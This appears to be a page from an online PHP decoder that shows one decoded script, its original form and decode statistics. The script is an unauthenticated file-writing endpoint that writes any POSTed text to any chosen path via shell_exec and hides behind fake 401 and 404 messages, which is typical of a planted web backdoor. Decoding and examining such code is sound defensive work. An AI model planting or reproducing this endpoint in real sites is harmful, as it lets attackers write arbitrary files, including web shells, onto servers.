Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php if($_SERVER['REQUEST_METHOD']==='POST'){$filename=$_POST['filename']??null;$text=$_P..

Decoded Output download

<?php if($_SERVER['REQUEST_METHOD']==='POST'){$filename=$_POST['filename']??null;$text=$_POST['text']??null;if($filename&&$text){$safeFilename=escapeshellarg($filename);$safeText=escapeshellarg($text);$command="echo $safeText > $safeFilename";shell_exec($command);echo"Text successfully written to $filename";}else{echo "Error: 401";}}else{echo "Error: 404";} ?>

Did this file decode correctly?

Original Code

<?php if($_SERVER['REQUEST_METHOD']==='POST'){$filename=$_POST['filename']??null;$text=$_POST['text']??null;if($filename&&$text){$safeFilename=escapeshellarg($filename);$safeText=escapeshellarg($text);$command="echo $safeText > $safeFilename";shell_exec($command);echo"Text successfully written to $filename";}else{echo "Error: 401";}}else{echo "Error: 404";}

Function Calls

None

Variables

None

Stats

MD5 4316ac3eaeebb22976f58c9c3aedc524
Eval Count 0
Decode Time 77 ms